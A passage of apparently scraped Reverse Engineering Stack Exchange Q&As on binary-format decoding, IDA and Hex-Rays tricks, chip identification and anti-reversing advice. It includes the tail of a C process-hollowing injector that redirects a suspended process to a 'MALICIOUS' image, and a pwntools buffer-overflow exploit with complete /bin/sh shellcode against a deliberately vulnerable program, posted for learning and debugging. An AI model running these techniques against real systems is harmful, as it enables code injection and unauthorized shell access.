Sleep(600);\n\n                    //Writing the image intor the process address space\n                    if (WriteProcessMemory(pinfo.hProcess, (LPVOID)pImage, image, ntHeader-&gt;OptionalHeader.SizeOfHeaders, NULL)) {\n                        printf(&quot;[*] Writing memory for MALICIOUS image headers into the IMAGE_BASE\\n&quot;);\n                        Sleep(600);\n\n                        //sectionHeader = (PIMAGE_SECTION_HEADER)((DWORD)image + dosHeader-&gt;e_lfanew + sizeof(IMAGE_NT_HEADERS));\n                        for (i = 0; i &lt; ntHeader-&gt;FileHeader.NumberOfSections; i++)\n                        {\n\n                            sectionHeader = (PIMAGE_SECTION_HEADER)((DWORD)image + dosHeader-&gt;e_lfanew + 248 + (i * sizeof(IMAGE_SECTION_HEADER)));\n                            if (sectionHeader-&gt;SizeOfRawData == 00000000)\n                                continue;\n\n                            if (WriteProcessMemory(pinfo.hProcess, (LPVOID)((DWORD)(pImage) + sectionHeader-&gt;VirtualAddress),\n                                (LPVOID)((DWORD)image + sectionHeader-&gt;PointerToRawData), sectionHeader-&gt;SizeOfRawData, 0))\n                            {\n                                printf(&quot;[*] Allocating memory for Section %d at %X\\n&quot;, i, (LPVOID)((DWORD)pImage + sectionHeader-&gt;VirtualAddress));\n                                Sleep(600);\n                            }\n                            else\n                            {\n                                printf(&quot;ERROR: Writing section (%d) into memory failed\\n&quot;, i);\n                                printf(&quot;Error Code: %d\\n&quot;, GetLastError());\n                                return -1;\n                            }\n                        }\n\n                        //Change the imageBase address from the suspened process into the MALICIOUS\n                        if (WriteProcessMemory(pinfo.hProcess, (LPVOID)(ctx-&gt;Ebx + 8), (LPVOID)(ntHeader-&gt;OptionalHeader.ImageBase), 4, 0)) {\n                            printf(&quot;[*] Image base address is changed to MALICIOUS\\n&quot;);\n                            Sleep(600);\n\n                            //Now we will move the address of entrypoint to the MALCIOUS image\n                            // At EAX register\n                            ctx-&gt;Eax = (DWORD)pImage + ntHeader-&gt;OptionalHeader.AddressOfEntryPoint;\n                            printf(&quot;[*] AddressOfEntryPoint is changed to MALICIOUS\\n&quot;);\n                            Sleep(600);\n                            \n                            //Set Thread Context and resume it\n                            SetThreadContext(pinfo.hProcess, (LPCONTEXT)ctx);\n                            ResumeThread(pinfo.hThread);\n                            printf(&quot;[*] Thread is resumed\\n&quot;);\n                        }\n\n                        else\n                        {\n                            printf(&quot;ERROR: Change the imageBase address from the suspened process into the MALICIOUS failed\\n&quot;);\n                            printf(&quot;Error Code: %d\\n&quot;, GetLastError());\n                            return -1;\n                        }\n                    }\n                    else\n                    {\n                        printf(&quot;ERROR: Writing the image into the process address space failed\\n&quot;);\n                        printf(&quot;Error Code: %d\\n&quot;, GetLastError());\n                        return -1;\n                    }\n        \n                }\n                else\n                {\n                    printf(&quot;ERROR: Allocating memory for MALICIOUS image headers into the IMAGE_BASE failed\\n&quot;);\n                    printf(&quot;Error Code: %d\\n&quot;, GetLastError());\n                    return -1;\n                }\n            }\n            else\n            {\n                printf(&quot;ERROR: GetThreadContext failed\\n&quot;);\n                printf(&quot;Error Code: %d\\n&quot;, GetLastError());\n                return -1;\n            }\n        }\n        else\n        {\n            printf(&quot;ERROR: Context allocation failed\\n&quot;);\n            printf(&quot;Error Code: %d\\n&quot;, GetLastError());\n            return -1;\n        }\n    }\n\n    return 0;\n}\n\nelse\n{\n    printf(&quot;ERROR: Invalid nt SIGNATURE\\n&quot;);\n    printf(&quot;Error Code: %d\\n&quot;, GetLastError());\n    return -1;\n}\n</code></pre>\n<p>}</p>\n",
        "Title": "Why I get 0xc00000005?",
        "Tags": "|c|pe|",
        "Answer": "<p>SOLVED:</p>\n<p>I must pass the address of the buffer not the value inside that buffer in WriteProcessMemmory\n[Call by reference]</p>\n<p>Modified:</p>\n<pre><code>WriteProcessMemory(pinfo.hProcess, (LPVOID)(ctx-&gt;Ebx + 8), (LPVOID)(&amp;ntHeader-&gt;OptionalHeader.ImageBase), 4, 0)\n</code></pre>\n"
    },
    {
        "Id": "26087",
        "CreationDate": "2020-10-08T11:50:04.163",
        "Body": "<p>I have files with binary data, the format description of them is very vague and incomplete. E.g., it states that records start with header byte, like (hex) FA, followed by datetime (accurate down to milliseconds) and other data fields, but no indication of field length, least significant bit (LSB) value, or even the byte endianness of record fields. Overall, the files should represent some sort of message log, and I need to decode them properly into meaningful data.</p>\n<p>Given the vagueness, incompleteness and possible errors (see below) in format description, my only hope to achieve the goal is a table that I have. It's describing roughly what's in the binary files. E.g., I know that some field from a specific file must decode to a value near 2700, another field must be -8.77, etc. There's at most one record statement like that, per file.</p>\n<p>I've first read <a href=\"https://reverseengineering.stackexchange.com/questions/1331/automated-tools-for-file-format-reverse-engineering\">this question</a>, but I'm not sure which of those tools can help in my situation. So I've translated my input binary into text files, simply displaying the initial data in hex representation, all in one big string. Splitting it by header bytes yielded some weird picture where each record seemed to have different length in bytes. Further investigation has shown that there are more types of headers (I call them sub-headers) than stated in format description. Also the first 1-byte field seems to indicate how many internal 22-byte blocks of data a record additionally has. This first field is out of place - it should've been datetime, judging by the format description. So, it's not that accurate/trustworthy, but at least it pushed me (seemingly) in the right direction.</p>\n<p>I'm totally new to reverse engineering, so my questions may be rather bad, but please bear with me:</p>\n<ol>\n<li><p>Is my task even possible to do, given the described situation?</p>\n</li>\n<li><p>If it is, how should I try and find a decoding method? What tools could help find correct field length, LSB and semantic (i.e., which data field is which, as I don't trust that format description too much anymore)?</p>\n</li>\n</ol>\n<h2>EDIT: Additional information on findings</h2>\n<p>Here are some examples of internal 22-byte blocks. One of the records has 7 blocks:</p>\n<pre><code>0018001E030825411C004303076D000D230000013802\n0018002B020B56010C001C030011000D22065D011601\n0018003103166A0052001803000A000D22065D011601\n00187F7301197440390017030779000D22065D011701\n0018002B02230540390019030779000D22065D011E01\n00187F7E032578004A0024030009000D22065D012B01\n00180038012B2501040028030010000D230000013101\n</code></pre>\n<p>Prefixed by 'FE070F600710', where '07' says that there are 7 of them, and '0F600710' seems to be repeated in such prefixes throughout the file. Example of a different, 8-blocks record:</p>\n<pre><code>00187F4C020614414E0030030767000D230000012001\n00187F4E000669414E0031030767000D230000012301\n00180014030E3B004A0028030009000D230000012601\n0018002B0110694042001B030778000D230000011C01\n00187F620321080052001203000A000D230000011601\n0018000B00254440390028030779000D230000012E02\n0018001601345C00420018030008000D230000012401\n0018002B013923404A0010030777000D230000011E01\n</code></pre>\n<p>As we can see, they all start with '0018', so that may be another sub-header, not data. That leaves us with exactly five 4-byte floats, or two 8-byte doubles and extra 4 bytes.</p>\n<p>Some columns of '00's can be seen, '0D' seems to also repeat in a column pattern. There's a '03' that is also always present. If we think of them as additional delimiters, fields of 7, 1, 2, and 6 bytes can be guessed, which mostly isn't like some standard single- or double-precision floats. That's why in the initial statement I thought real numbers were coded as integers, with some unknown LSB.</p>\n",
        "Title": "Reverse engineering a partially known binary format",
        "Tags": "|file-format|tools|encodings|binary-diagnosis|",
        "Answer": "<p>I'm working on some tooling for automatic reverse engineering.</p>\n<p>Having messages of varying length makes it much easier to determine which fields are related to overall message lengths.  It also makes it much easier to identify where the 'header' portion is, as it will have a consistent format and precede the variable length portion.</p>\n<p>The more data and the more diverse that data is, the easier it is to infer a format. Many times I've seen datasets generated by holding everything constant, and altering on a single value in memory. Those are easier for humans to spot checksums in, but harder for finding general field boundaries.</p>\n<p>Here's my best guess at the format given the data. Looks like it's big endian, with byte 3 looking like a tag. |'s indicate places where there's a heuristic field boundary.</p>\n<pre><code>    TTTTTTTT ?? FFFFFFFF | ???? | ?????? | ?????? TTTTTTTT | ??\n    --\n    00187F4C 02 0614414E | 0030 | 030767 | 000D23 00000120 | 01\n    00187F4E 00 0669414E | 0031 | 030767 | 000D23 00000123 | 01\n    00180014 03 0E3B004A | 0028 | 030009 | 000D23 00000126 | 01\n    0018002B 01 10694042 | 001B | 030778 | 000D23 0000011C | 01\n    00187F62 03 21080052 | 0012 | 03000A | 000D23 00000116 | 01\n    0018000B 00 25444039 | 0028 | 030779 | 000D23 0000012E | 02\n    00180016 01 345C0042 | 0018 | 030008 | 000D23 00000124 | 01\n    0018002B 01 3923404A | 0010 | 030777 | 000D23 0000011E | 01\n    --\n    0 T  BE TIMESTAMP 32\n    1 ? UNKNOWN TYPE 1 BYTE(S)\n    2 F BE FLOAT \n    3 ? UNKNOWN TYPE 2 BYTE(S)\n    4 ? UNKNOWN TYPE 3 BYTE(S)\n    5 ? UNKNOWN TYPE 3 BYTE(S)\n    6 T  BE TIMESTAMP 32\n    7 ? UNKNOWN TYPE 1 BYTE(S)\n</code></pre>\n<p>I think there's some sort of sequence in section 4 (likely it's just the last 2 bytes).</p>\n"
    },
    {
        "Id": "26104",
        "CreationDate": "2020-10-12T10:24:32.657",
        "Body": "<p><a href=\"https://i.stack.imgur.com/4gfqN.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/4gfqN.jpg\" alt=\"Unknown chip\" /></a></p>\n<p>Tried all kinds of searches (including <a href=\"https://www.alldatasheet.com/\" rel=\"nofollow noreferrer\">https://www.alldatasheet.com/</a> by marking), no result.\nCan't even identify the manufacturer logo (PI-like symbol).</p>\n",
        "Title": "Trying to identify this chip",
        "Tags": "|integrated-circuit|",
        "Answer": "<p><a href=\"https://www.st.com/content/st_com/en/products/memories/serial-eeprom/standard-serial-eeprom/standard-microwire-eeprom/m93c46-w.html\" rel=\"nofollow noreferrer\">https://www.st.com/content/st_com/en/products/memories/serial-eeprom/standard-serial-eeprom/standard-microwire-eeprom/m93c46-w.html</a><br>\nPS:Sorry Robert, I do not yet have the right to comment</p>\n"
    },
    {
        "Id": "26118",
        "CreationDate": "2020-10-15T18:56:49.063",
        "Body": "<p>I'm currently working on a binary that has encrypted strings, using IDA 7.0. The encrypted data is copied to another location in memory, which is then decrypted. I have already decrypted the strings in-place, but due to the way the strings are accessed the decompiler is having trouble resolving them.</p>\n<p>This is an example of ASM that accesses a decrypted string:</p>\n<pre><code>mov     rcx, cs:StringTableOffset\nlea     rax, cs:180000000h\nlea     rcx, [rcx+rax+130A4h]\ncall    cs:GetModuleHandleA\n</code></pre>\n<p>For the purpose of reversing, <code>StringTableOffset</code> can be considered 0, so the final <code>lea</code> instruction effectively just moves the value <code>0x1800130A4</code> into <code>rcx</code>. The decompiler doesn't know that, though, and shows pointer arithmetic instead.</p>\n<p><code>|| ((v11 = GetModuleHandleA((LPCSTR)(StringTableOffset + 0x1800130A4i64))</code></p>\n<p>Is there any way to signal to the decompiler that the value of <code>rcx</code> (the argument to GetModuleHandleA) is known, so that it can display the defined string?</p>\n",
        "Title": "How to inform Hex-Rays decompiler (7.0) of known register values?",
        "Tags": "|ida|decompilation|",
        "Answer": "<p>The answer to the specific question that you asked is: not directly through the UI, but it's possible with a plugin. <a href=\"https://www.hex-rays.com/products/decompiler/manual/sdk/hexrays_sample18_8cpp-example.shtml\" rel=\"nofollow noreferrer\">Sample plugin #18 in the Hex-Rays SDK</a>. The comment at the top of the plugin says:</p>\n<pre><code>* It shows how to specify a register value at a desired location.\n* Such a functionality may be useful when the code to decompile is\n* obfuscated and uses opaque predicates.\n</code></pre>\n<p>However, there's a better answer to your question. The assembly code that you displayed is commonly generated by MSVC when accessing global arrays or data structures on x64. Basically, one register will be set to the base address of the containing module (<code>rax</code> in your snippet above), and then array accesses will be encoded as <code>[rax+r64+RVA_of_array]</code>, where <code>r64</code> is some register being used for indexing purposes.</p>\n<p>Hex-Rays trips over snippets like this one, but there is a way to fix it: namely, by turning the numeric offset in the memory expression into an RVA. As far as I know, there's currently no way to do that through the GUI (EDIT: in the comments below, Igor Skochinsky informs us how to do this through the GUI), but you can do it through a small IDAPython script.</p>\n<pre><code>def make_rva(ea, n):\n    idaapi.op_offset(ea, n, ida_nalt.REFINFO_RVAOFF | ida_nalt.REF_OFF64, idaapi.BADADDR, idaapi.get_imagebase(), 0)\n</code></pre>\n<p>Now, you can run the <code>make_rva</code> function by providing the address of the instruction with the memory expression as the first argument. The second argument is the operand number: 0 for left-hand side, 1 for right-hand side. Here's an example from a database I have open. Before:</p>\n<pre><code>0000000180019AEC cmp     byte ptr [rcx+rdx+138C84h], 0\n</code></pre>\n<p>After executing <code>make_rva(0x0000000180019AEC,0)</code>:</p>\n<pre><code>0000000180019AEC cmp     rva stru_180138C80.sectors_per_cluster[rcx+rdx], 0\n</code></pre>\n<p>I recently released a database of a malware sample that I had analyzed exhaustively, where I used these tricks as part of the analysis. <a href=\"https://www.msreverseengineering.com/blog/2020/8/31/an-exhaustively-analyzed-idb-for-comrat-v4\" rel=\"nofollow noreferrer\">You can get the database here</a>, and then jump to address <code>0000000180014607</code> to check out the effects.</p>\n<p>EDIT, 08/24/2021: I reported the issue discussed above to Hex-Rays, who fixed it as of 7.6.</p>\n"
    },
    {
        "Id": "26119",
        "CreationDate": "2020-10-15T23:53:17.190",
        "Body": "<p>I'm trying to search with IDA pro constants of type &quot;#define SIZE 100&quot; and normal local variables from a gcc-compiled binary file. I know there are a lot of open threads on the subject but I can't quite figure it out.\nFor example, this <a href=\"https://reverseengineering.stackexchange.com/questions/14043/stack-variable-information-removed-in-ida-pro-free-version\">tutorial</a> is very close to what I want, but I don't understand how I can display them graphically in IDA pro.\nI'm new at this, thanks.</p>\n",
        "Title": "Find out the name of constants and var in IDA pro",
        "Tags": "|ida|stack-variables|local-variables|",
        "Answer": "<p>Generally speaking, this is not possible with any reverse engineering tool. If the programmer created custom <code>#define</code> statements to associate numbers with symbolic names, this information will be destroyed by the compiler very early into the compilation process, long before the binary is ultimately created. Local variable names are also not preserved in the final binary, unless the binary contains debug information (or you have external debug information that you can apply to the binary). However, if this were the case, IDA would have already applied the information, and you would already see the proper names.</p>\n<p>TL;DR compilation destroys all symbolic names, and generally speaking, they cannot be recovered without debug information.</p>\n"
    },
    {
        "Id": "26129",
        "CreationDate": "2020-10-17T07:51:39.053",
        "Body": "<p>I've wrote a simple program to print something on the screen as below:</p>\n<pre><code>ebra@him:/tmp/tuts$ cat sample.c \n#include &lt;stdio.h&gt;\n\nint main()\n{\n    puts(&quot;Sample!&quot;);\n}\n\nebra@him:/tmp/tuts$ gcc sample.c -o sample\nebra@him:/tmp/tuts$ \n \nebra@him:/tmp/tuts$ ./sample \nSample!\n</code></pre>\n<p>And then I disassmbled the executable to see what is going on under the hood:</p>\n<pre><code>ebra@him:/tmp/tuts$ objdump -M intel --disassemble-all sample | grep &quot;&lt;main&gt;:&quot; -A 10\n0000000000001149 &lt;main&gt;:\n    1149:   f3 0f 1e fa             endbr64 \n    114d:   55                      push   rbp\n    114e:   48 89 e5                mov    rbp,rsp\n    1151:   48 8d 3d ac 0e 00 00    lea    rdi,[rip+0xeac]        # 2004 &lt;_IO_stdin_used+0x4&gt;\n    1158:   e8 f3 fe ff ff          call   1050 &lt;puts@plt&gt;\n    115d:   b8 00 00 00 00          mov    eax,0x0\n    1162:   5d                      pop    rbp\n    1163:   c3                      ret    \n    1164:   66 2e 0f 1f 84 00 00    nop    WORD PTR cs:[rax+rax*1+0x0]\n    116b:   00 00 00 \n</code></pre>\n<p>As you see above, right before calling <code>puts</code> function, we have <code>lea    rdi,[rip+0xeac]</code>. I assume that <code>[rip+0xeac]</code> is the address of the hardcoded text (i.e. &quot;Sample!&quot;).</p>\n<p>Since <code>rip</code> is equal to <code>0x1151</code> while exucuting the <code>mov</code> line, the value of <code>[rip + 0xeac]</code> will be <code>0x1151 + 0xeac = 0x1ffd</code>.</p>\n<p>But I can't find this address in the disassembled program:</p>\n<pre><code>ebra@him:/tmp/tuts$ objdump -M intel --disassemble-all sample | grep -i 1ffd\nebra@him:/tmp/tuts$ objdump -M intel --disassemble-all sample | grep -i &quot;Sample!&quot;\nebra@him:/tmp/tuts$\n</code></pre>\n<p>Why?</p>\n",
        "Title": "Why can't find hardcoded string in the disassembled program?",
        "Tags": "|disassembly|c|",
        "Answer": "<p>to search String you cant be  using disassemble-all</p>\n<pre><code>look at the bytes in both commands if you disassemble how can you find the string\n\nobjdump -s sample.exe |grep -i sample\nsample.exe:     file format pei-i386\n 404040 00000000 53616d70 6c652100 20634000  ....Sample!. c@.\n\nobjdump -M intel --disassemble-all sample.exe  --start-address=0x404044 --stop-address=0x40404f\n\nsample.exe:     file format pei-i386\n\n\nDisassembly of section .rdata:\n\n00404044 &lt;.rdata&gt;:\n  404044:       53                      push   ebx\n  404045:       61                      popa\n  404046:       6d                      ins    DWORD PTR es:[edi],dx\n  404047:       70 6c                   jo     4040b5 &lt;.rdata+0x45&gt;\n  404049:       65 21 00                and    DWORD PTR gs:[eax],eax\n\n0040404c &lt;_GS_ExceptionPointers&gt;:\n  40404c:       20 63 40                and    BYTE PTR [ebx+0x40],ah\n</code></pre>\n"
    },
    {
        "Id": "26131",
        "CreationDate": "2020-10-17T09:11:50.613",
        "Body": "<p>I'm planning on writing a windows application, used everywhere in my home country. I will code it in C++, but my question is which would you consider better to use?</p>\n<ul>\n<li>win32api</li>\n<li>Visual C++</li>\n<li>MFC</li>\n</ul>\n<p>I'm asking this because I don't know if you heard about what will happen to Windows 10 and how it will change after the last updates, that's point #1, second I just want it to become a little bit harder to decompile, I know assembly and I've reverse-engineered a lot of programs over the last 5 years, but I just want something harder for that hacker in his father's basement, I don't want it to get cracked or reverse engineered in a day or two, but I know that at the end someone will do it.\nWhich framework (or should I say compiler with some extra features) would make it a little bit challenging?</p>\n<p>I'm fluent in all the languages mentioned above.</p>\n<p>I know that this Community is made for reverse engineering and so just focus on this part of my question, thank you for your time.</p>\n",
        "Title": "which is harder to reverse engineer?",
        "Tags": "|c++|winapi|mfc|",
        "Answer": "<p>If it's challenging or not depends entirely on what you do to make it challenging and the skill level of the attacker. For some it's already enough if you make the decompiler in some old leaked IDA version fail, others read the pure assembly and know exactly what's going on not needing the decompiler at all.</p>\n<p>The best way to prevent tampering is having license checks at several places that all have to be found in order to get it to work. Sign individual functions, check the signature somewhere else, have that signed aswell. Obfuscate RSA Keys or even better all strings if you decide to use them. Try to avoid a whole bunch of xor instructions at one place (if I see those I know that some crypto is going on there). Also you can include useless/bad assembler instructions that never get executed to confuse the Disassembler, also dead code that seems to be a license check might be a good way to keep someone busy (although a debugger will quickly show them it's never executed. Also there are obfuscators out there you can buy, they generally have even more experience in anti debugging and decompiling techniques.</p>\n<p>Choose whatever framework you're confident with, don't let license/intellectual property protection be an excuse for bad coding style because you're still inexperienced, especially if it's software you're planning to sell.</p>\n"
    },
    {
        "Id": "26134",
        "CreationDate": "2020-10-18T16:19:09.447",
        "Body": "<p>Recently, I've been trying to learn how to use the pwntools library. I am trying to exploit the following program using pwntools:</p>\n<pre><code>#include &lt;stdio.h&gt;\n#include &lt;stdlib.h&gt;\n\nint main(void) {\n    char buf[256];\n\n    printf(&quot;Buffer is at %p.\\n&quot;, buf);\n    printf(&quot;Type in your name: &quot;);\n    fgets(buf, 1000, stdin);\n    printf(&quot;Hello %s&quot;, buf);\n\n    return 0;\n}\n</code></pre>\n<p>It has been compiled using <code>gcc -o bof bof.c -fno-stack-protector -z execstack</code>. I am able to exploit the vulnerability if I disable ASLR. My exploit just has shellcode that executes /bin/sh, some useless NOPs, and finally the location of my shellcode on the stack.</p>\n<pre><code>$ python -c &quot;import sys; sys.stdout.buffer.write(b'\\x48\\x31\\xc0\\x48\\x31\\xff\\xb0\\x03\\x0f\\x05\\x50\\x48\\xbf\\x2f\\x64\\x65\\x76\\x2f\\x74\\x74\\x79\\x57\\x54\\x5f\\x50\\x5e\\x66\\xbe\\x02\\x27\\xb0\\x02\\x0f\\x05\\x48\\x31\\xc0\\xb0\\x3b\\x48\\x31\\xdb\\x53\\xbb\\x6e\\x2f\\x73\\x68\\x48\\xc1\\xe3\\x10\\x66\\xbb\\x62\\x69\\x48\\xc1\\xe3\\x10\\xb7\\x2f\\x53\\x48\\x89\\xe7\\x48\\x83\\xc7\\x01\\x48\\x31\\xf6\\x48\\x31\\xd2\\x0f\\x05' + b'\\x90' * 186 + b'\\x50\\xdd\\xff\\xff\\xff\\x7f')&quot; | ./bof\nBuffer is at 0x7fffffffdd50.\n$ echo hello world\nhello world\n$ exit\nsh: 2: Cannot set tty process group (No such process)\n</code></pre>\n<p>Yet, when I try doing the exact same thing within pwntools, I get the following:</p>\n<pre><code>$ python bof.py \n[+] Starting local process './bof': pid 10967\nReceived: b'Buffer is at 0x7fffffffdd40.\\n'\nUsing address: b'@\\xdd\\xff\\xff\\xff\\x7f\\x00\\x00'\nUsing payload:\nb&quot;H1\\xc0H1\\xff\\xb0\\x03\\x0f\\x05PH\\xbf/dev/ttyWT_P^f\\xbe\\x02'\\xb0\\x02\\x0f\\x05H1\\xc0\\xb0;H1\\xdbS\\xbbn/shH\\xc1\\xe3\\x10f\\xbbbiH\\xc1\\xe3\\x10\\xb7/SH\\x89\\xe7H\\x83\\xc7\\x01H1\\xf6H1\\xd2\\x0f\\x05\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90@\\xdd\\xff\\xff\\xff\\x7f\\x00\\x00&quot;\n\n[*] Switching to interactive mode\n$ \n$ $ \n[*] Got EOF while sending in interactive\n</code></pre>\n<p>This is the code inside of bof.py:</p>\n<pre><code>from pwn import *\n  \n# Start the process\ncontext.update(arch=&quot;i386&quot;, os=&quot;linux&quot;)\np = process(&quot;./bof&quot;)\nreceived = str(p.recvline())\nprint(&quot;Received: &quot; + received)\n\n# Get the address of the buffer\nbuffer_addr_str = received.split()[3:][0][:-4]\nbuffer_addr = p64(int(buffer_addr_str, 16))\nprint(&quot;Using address: &quot; + str(buffer_addr))\n\n# Generate the payload\npayload = b'\\x48\\x31\\xc0\\x48\\x31\\xff\\xb0\\x03\\x0f\\x05\\x50\\x48\\xbf\\x2f\\x64\\x65\\x76\\x2f\\x74\\x74\\x79\\x57\\x54\\x5f\\x50\\x5e\\x66\\xbe\\x02\\x27\\xb0\\x02\\x0f\\x05\\x48\\x31\\xc0\\xb0\\x3b\\x48\\x31\\xdb\\x53\\xbb\\x6e\\x2f\\x73\\x68\\x48\\xc1\\xe3\\x10\\x66\\xbb\\x62\\x69\\x48\\xc1\\xe3\\x10\\xb7\\x2f\\x53\\x48\\x89\\xe7\\x48\\x83\\xc7\\x01\\x48\\x31\\xf6\\x48\\x31\\xd2\\x0f\\x05'\nnops = b'\\x90' * (264 - len(payload))\nprint(&quot;Using payload:&quot;)\nprint(payload+nops+buffer_addr)\nprint()\n\n# Trigger the buffer overflow\np.send(payload + nops + buffer_addr)\np.interactive()\n</code></pre>\n<p>This is the shellcode that I'm using:</p>\n<pre><code>section .text\nglobal _start\n_start:\n\n; Syscall to close stdin\nxor rax, rax\nxor rdi, rdi ; Zero represents stdin\nmov al, 3 ; close(0)\nsyscall\n\n; open(&quot;/dev/tty&quot;, O_RDWR | ...)\npush rax ; Push a NULL byte onto the stack\nmov rdi, 0x7974742f7665642f ; Move &quot;/dev/tty&quot; (written backwards) into rdi.\npush rdi ; Push the string &quot;/dev/tty&quot; onto the stack.\npush rsp ; Push a pointer to the string onto the stack.\npop rdi ; rdi now has a pointer to the string &quot;/dev/tty&quot;\n        ; This is equivalent to doing &quot;mov rdi, rsp&quot;\npush rax ; Push a NULL byte onto the stack\npop rsi ; Make rsi NULL\n        ; This is equivalent to doing &quot;mov rsi, 0&quot;\nmov si, 0x2702 ; Flag for O_RDWR\nmov al, 0x2 ; Syscall for sys_open\nsyscall\n\n; Syscall for execve\nxor rax, rax\nmov al, 59\n\n; Push a NULL byte onto the stack\nxor rbx, rbx\npush rbx\n\n; Push /bin/sh onto the stack and get a pointer to it in rdi\nmov rbx, 0x68732f6e ; Move &quot;n/sh&quot; into rbx (written backwards).\nshl rbx, 16 ; Make 2 extra bytes of room in rbx\nmov bx, 0x6962 ; Move &quot;bi&quot; into rbx. Rbx is now equal to &quot;bin/sh&quot; written backwards.\nshl rbx, 16 ; Make 2 extra bytes of room in rbx\nmov bh, 0x2f ; Move &quot;/&quot; into rbx. Rbx is now equal to &quot;/bin/sh&quot; written backwards.\npush rbx ; Move the string &quot;/bin/sh&quot; onto the stack\nmov rdi, rsp ; Get a pointer to the string &quot;/bin/sh&quot; in rdi\nadd rdi, 1 ; Add one to rdi (because there is a NULL byte at the beginning)\n\n; Make these values NULL\nxor rsi, rsi\nxor rdx, rdx\n\n; Do the syscall\nsyscall\n</code></pre>\n<p>I don't understand why calling p.interactive() doesn't spawn a shell. I am sending the same kind of payload that I would be sending if this was being done outside of pwntools. Why am I not getting a shell?</p>\n<p>Edit: This is what I see when I run the script with DEBUG:</p>\n<pre><code>$ python bof.py DEBUG\n[+] Starting local process './bof' argv=[b'./bof']  env={b'SHELL': b'/bin/bash', b'SESSION_MANAGER': b'local/N:@/tmp/.ICE-unix/3778,unix/N:/tmp/.ICE-unix/3778', b'QT_ACCESSIBILITY': b'1', b'COLORTERM': b'truecolor', b'XDG_CONFIG_DIRS': b'/etc/xdg/xdg-ubuntu:/etc/xdg', b'XDG_MENU_PREFIX': b'gnome-', b'GNOME_DESKTOP_SESSION_ID': b'this-is-deprecated', b'LANGUAGE': b'en_US:en', b'MANDATORY_PATH': b'/usr/share/gconf/ubuntu.mandatory.path', b'LC_ADDRESS': b'en_US.UTF-8', b'GNOME_SHELL_SESSION_MODE': b'ubuntu', b'LC_NAME': b'en_US.UTF-8', b'SSH_AUTH_SOCK': b'/run/user/1000/keyring/ssh', b'XMODIFIERS': b'@im=ibus', b'DESKTOP_SESSION': b'ubuntu', b'LC_MONETARY': b'en_US.UTF-8', b'SSH_AGENT_PID': b'3743', b'GTK_MODULES': b'gail:atk-bridge', b'PWD': b'/home/n/Documents/Exploitation/basics', b'LOGNAME': b'n', b'XDG_SESSION_DESKTOP': b'ubuntu', b'XDG_SESSION_TYPE': b'x11', b'GPG_AGENT_INFO': b'/run/user/1000/gnupg/S.gpg-agent:0:1', b'XAUTHORITY': b'/run/user/1000/gdm/Xauthority', b'GJS_DEBUG_TOPICS': b'JS ERROR;JS LOG', b'WINDOWPATH': b'2', b'HOME': b'/home/n', b'USERNAME': b'n', b'IM_CONFIG_PHASE': b'1', b'LC_PAPER': b'en_US.UTF-8', b'LANG': b'en_US.UTF-8', b'LS_COLORS': b'rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:mi=00:su=37;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arc=01;31:*.arj=01;31:*.taz=01;31:*.lha=01;31:*.lz4=01;31:*.lzh=01;31:*.lzma=01;31:*.tlz=01;31:*.txz=01;31:*.tzo=01;31:*.t7z=01;31:*.zip=01;31:*.z=01;31:*.dz=01;31:*.gz=01;31:*.lrz=01;31:*.lz=01;31:*.lzo=01;31:*.xz=01;31:*.zst=01;31:*.tzst=01;31:*.bz2=01;31:*.bz=01;31:*.tbz=01;31:*.tbz2=01;31:*.tz=01;31:*.deb=01;31:*.rpm=01;31:*.jar=01;31:*.war=01;31:*.ear=01;31:*.sar=01;31:*.rar=01;31:*.alz=01;31:*.ace=01;31:*.zoo=01;31:*.cpio=01;31:*.7z=01;31:*.rz=01;31:*.cab=01;31:*.wim=01;31:*.swm=01;31:*.dwm=01;31:*.esd=01;31:*.jpg=01;35:*.jpeg=01;35:*.mjpg=01;35:*.mjpeg=01;35:*.gif=01;35:*.bmp=01;35:*.pbm=01;35:*.pgm=01;35:*.ppm=01;35:*.tga=01;35:*.xbm=01;35:*.xpm=01;35:*.tif=01;35:*.tiff=01;35:*.png=01;35:*.svg=01;35:*.svgz=01;35:*.mng=01;35:*.pcx=01;35:*.mov=01;35:*.mpg=01;35:*.mpeg=01;35:*.m2v=01;35:*.mkv=01;35:*.webm=01;35:*.ogm=01;35:*.mp4=01;35:*.m4v=01;35:*.mp4v=01;35:*.vob=01;35:*.qt=01;35:*.nuv=01;35:*.wmv=01;35:*.asf=01;35:*.rm=01;35:*.rmvb=01;35:*.flc=01;35:*.avi=01;35:*.fli=01;35:*.flv=01;35:*.gl=01;35:*.dl=01;35:*.xcf=01;35:*.xwd=01;35:*.yuv=01;35:*.cgm=01;35:*.emf=01;35:*.ogv=01;35:*.ogx=01;35:*.aac=00;36:*.au=00;36:*.flac=00;36:*.m4a=00;36:*.mid=00;36:*.midi=00;36:*.mka=00;36:*.mp3=00;36:*.m